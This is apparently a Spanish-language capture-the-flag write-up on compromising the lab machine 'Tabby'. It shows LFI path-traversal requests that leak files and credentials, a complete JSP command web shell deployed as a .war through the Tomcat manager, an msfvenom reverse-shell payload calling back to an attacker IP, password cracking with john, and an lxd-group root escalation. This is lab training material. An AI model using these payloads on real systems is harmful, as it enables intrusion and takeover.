Tabby


En esta máquina, primero explotamos una vulnerabilidad de Local File Inclusion (LFI) para enumerar los usuarios de Tomcat. Luego, logramos la ejecución remota de código (RCE) subiendo un archivo .war en Tomcat. Para la escalada de privilegios, extrajimos las credenciales de un archivo zip y abusamos del grupo lxd.

June 6, 20248 minutes

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

ping -c 1 10.10.10.194
PING 10.10.10.194 (10.10.11.254) 56(84) bytes of data.
64 bytes from 10.10.11.254: icmp_seq=1 ttl=63 time=38.4 ms

--- 10.10.10.194 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.381/38.381/38.381/0.000 ms

Tenemos conexión y en este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux

Escaneo de puertos

Ahora empezamos con un escaneo de puertos

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.194 -oG allPorts
Explicación parámetros
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
–min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnPara saltar la comprobación de sí la máquina está activa o no
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.194
   5   │     [*] Open ports: 22,80,8080
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap

> nmap -p22,80,8080 -sCV 10.10.10.194 -oN versions
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-26 18:42 CEST
Nmap scan report for skyfall.htb (10.10.11.254)
Host is up (0.045s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
|   256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_  256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat
Explicación parámetros
ParámetroFunción
-pEspecificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

Puerto 80 y 8080

En el puerto 80 hay una web corriendo con apache 2.4.41.

Empezamos haciendo fuzzing con gobuster para encontrar subdirectorios.

> gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.194 -x php

/.php                 (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 14175]
/news.php             (Status: 200) [Size: 0]
/files                (Status: 301) [Size: 312] [--> http://10.10.10.194/files/]
/assets               (Status: 301) [Size: 313] [--> http://10.10.10.194/assets/]

Si accedemos en news.php, vemos una página en blanco, pero si accedemos desde el botón de la página principal, nos lleva a http://megahosting.htb/news.php?file=statement

Para poder ver la página, hay que añadir el dominio en el /etc/hosts

Una vez vemos la página observamos que hay un parámetro en la url que se llama file. El gobuster detecto que había una carpeta llamada files, lo que puede estar pasando es que el parámetro ?file= este cargando el contenido de archivos que hay en files. Esto lo podemos comprobar de la siguiente forma

Vemos que lo que se muestra en news.php?file=statement es lo mismo que hay en /files/statement. Sabiendo esto probamos de explotar un LFI (Local File Inclusion)

curl http://megahosting.htb/news.php?file=../../../../../../../../../etc/passwd

root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12:man:/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network❌100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve❌101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync❌102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus❌103:106::/nonexistent:/usr/sbin/nologin
syslog❌104:110::/home/syslog:/usr/sbin/nologin
_apt❌105:65534::/nonexistent:/usr/sbin/nologin
tss❌106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd❌107:112::/run/uuidd:/usr/sbin/nologin
tcpdump❌108:113::/nonexistent:/usr/sbin/nologin
landscape❌109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate❌110:1::/var/cache/pollinate:/bin/false
sshd❌111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump❌999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd❌998💯:/var/snap/lxd/common/lxd:/bin/false
tomcat❌997:997::/opt/tomcat:/bin/false
mysql❌112:120:MySQL Server,,,:/nonexistent:/bin/false
ash❌1000:1000:clive:/home/ash:/bin/bashc

Ya tenemos la capacidad de enumerar archivos dentro de la máquina.

En el /etc/passwd vemos la existencia del usuario ash, al se le puede intentar robar la llave id_rsa de ssh

curl http://megahosting.htb/news.php?file=../../../../../../../../../home/ash/.ssh/id_rsa

Pero no podemos verla.

Si recordamos del escaneo de nmap, había otro puerto abierto, el 8080, este puerto tiene un tomcat corriendo. Al entrar aparece un mensaje diciendo.

Users are defined in /etc/tomcat9/tomcat-users.xml.

Intentamos ver el archivo /etc/tomcat9/tomcat-users.xml desde el LFI, pero no se puede

curl http://megahosting.htb/news.php?file=../../../../../../../../../etc/tomcat9/tomcat-users.xml

Haciendo una búsqueda por internet, encontré que también se pueden guardar en /usr/share/tomcat9/etc/tomcat-users.xml

curl -s http://megahosting.htb/news.php?file=../../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml | grep username
  
you must define such a user - the username and password are arbitrary. It is
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

Tenemos las credenciales del usuario tomcat!

Si nos logeamos desde /manager en el tomcat, nos aparece el siguiente error

By default the Manager is only accessible from a browser running on the same machine as Tomcat

Básicamente que no podemos entrar, a no ser que estemos accediendo desde la misma máquina. Si nos fijamos en los roles que tiene el usuario tomcat, vemos que tiene el rol manager-script. Este rol nos permite poder subir archivos de la siguiente forma.

Primero creamos un .war que nos permita ejecutar comandos

mkdir war
cd war
nano index.jsp
<form method=GET action='index.jsp'>
<input name='cmd' type=text>
<input type=submit value='Run'>
</form>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>
jar -cvf ../evil.war *
cd ../

Lo subimos

curl --upload-file evil.war 'http://tomcat:$3cureP4s5w0rd123!@10.10.10.194:8080/manager/text/deploy?path=/evil2&update=true'

OK - Deployed application at context path [/evil2]

Ya podemos ejecutar comandos

curl "megahosting.htb:8080/evil2/index.jsp?cmd=id"
<form method=GET action='index.jsp'>
<input name='cmd' type=text>
<input type=submit value='Run'>
</form>


<pre>uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)</br></pre>

Para conseguir la reverse shell creamos otro .war con msfvenom

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.32 LPORT=443 -f war -o shell.war

Lo subimos

curl --upload-file shell.war 'http://tomcat:$3cureP4s5w0rd123!@10.10.10.194:8080/manager/text/deploy?path=/shell&update=true'

Nos ponemos en escucha con nc por el puerto 443

nc -nlvp 443

Hacemos una petición al archivo y recibimos la shell

curl "megahosting.htb:8080/shell/"

Escalada de privilegios

Antes de seguir, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset xterm

Ahora si hacemos un echo $TERM vemos que vale dumb, pero para poder hacer ctrl + l necesitamos que valga xterm

export TERM=xterm

Por último si miramos la shell que tenemos echo $SHELL vemos que tenemos /usr/sbin/nologin asi que vamos a asignar una bash

export SHELL=bash

Después de un rato buscando, encontramos 16162020_backup.zip.

tomcat@tabby:/var/www/html/files$ ls
16162020_backup.zip  archive  revoked_certs  statement

Al descomprimirlo pide una contraseña

tomcat@tabby:/var/www/html/files$ unzip 16162020_backup.zip 
Archive:  16162020_backup.zip
checkdir error:  cannot create var
                 Read-only file system
                 unable to process var/www/html/assets/.
[16162020_backup.zip] var/www/html/favicon.ico password: 

Para encontrar la contraseña, nos pasamos el zip a nuestra máquina

Le sacamos el hash con zip2john

zip2john 16162020_backup.zip > hash

Ahora lo rompemos con john

john --wordlist=/usr/share/wordlists/rockyou.txt hash
                                                       
john --show hash                                     
16162020_backup.zip:admin@it::16162020_backup.zip:var/www/html/news.php, var/www/html/favicon.ico, var/www/html/Readme.txt, var/www/html/logo.png, var/www/html/index.php:16162020_backup.zip

1 password hash cracked, 0 left

La contraseña del zip es admin@it.

Dentro del zip no hay nada.

Al probar, encontramos que esta contraseña se reutiliza para el usuario ash

Al consultar los grupos del usuario ash identificamos que está en el grupo lxd

ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

Para aprovecharnos de este grupo para escalar privilegios, haremos lo siguiente en nuestra máquina

git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
bash build-alpine

Esto nos generará este archivo: alpine-v3.20-x86_64-20240606_1419.tar.gz el cual tenemos que pasar a la máquina víctima junto con este script searchsploit -m linux/local/46978.sh

ash@tabby:/tmp$ ./46978.sh -f alpine-v3.20-x86_64-20240606_1419.tar.gz 
./46978.sh: line 21: lxc: command not found

Al ejecutarlo, nos dice que el comando lxc no existe.

Lo que puede ser es que si esté el lxc, pero no en el PATH, para ello vamos a buscar si hay algún lxc

ash@tabby:/tmp$ find / -name lxc 2>/dev/null
/snap/lxd/14804/bin/lxc
/snap/lxd/14804/commands/lxc
/snap/lxd/14804/lxc
/snap/lxd/21468/bin/lxc
/snap/lxd/21468/commands/lxc
/snap/lxd/21468/lxc
/snap/bin/lxc
/var/snap/lxd/common/lxc
/etc/bash_completion.d/lxc
/usr/share/bash-completion/completions/lxc

Efectivamente, si existe el lxc, pero no está en el PATH, asi que lo añadimos

ash@tabby:/tmp$ export PATH=$PATH:/snap/bin/

Ahora nos sale Error: open alpine-v3.20-x86_64-20240606_1419.tar.gz: no such file or directory

ash@tabby:/tmp$ ./46978.sh -f alpine-v3.20-x86_64-20240606_1419.tar.gz 
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04

Error: open alpine-v3.20-x86_64-20240606_1419.tar.gz: no such file or directory
[*] Listing images...

+-------+-------------+--------+-------------+--------------+------+------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+-------+-------------+--------+-------------+--------------+------+------+-------------+
Creating privesc
Error: Not Found

Este error me dio un poco de dolor de cabeza porque no entendía porque no funcionaba.

Al final probé de mover el archivo a otra ruta, como por ejemplo el /home de ash

ash@tabby:/tmp$ mv alpine-v3.20-x86_64-20240606_1419.tar.gz /home/ash/

ash@tabby:/tmp$ ./46978.sh -f /home/ash/alpine-v3.20-x86_64-20240606_1419.tar.gz 
[*] Listing images...

+--------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
| ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE         |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
| alpine | 099f19378603 | no     | alpine v3.20 (20240606_14:19) | x86_64       | CONTAINER | 3.67MB | Jun 6, 2024 at 4:28pm (UTC) |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
Creating privesc
Device giveMeRoot added to privesc         
~ # 

Ahora ya estamos dentro del contenedor que hemos creado como el usuario root

Ahora dentro del /mnt/root tenemos montada la raiz de la máquina host

/ # cd /mnt/root

/mnt/root # ls
bin         etc         lib64       mnt         run         sys
boot        home        libx32      opt         sbin        tmp
cdrom       lib         lost+found  proc        snap        usr
dev         lib32       media       root        srv         var

Así que con un cat al /mnt/root/root/root.txt vemos la flag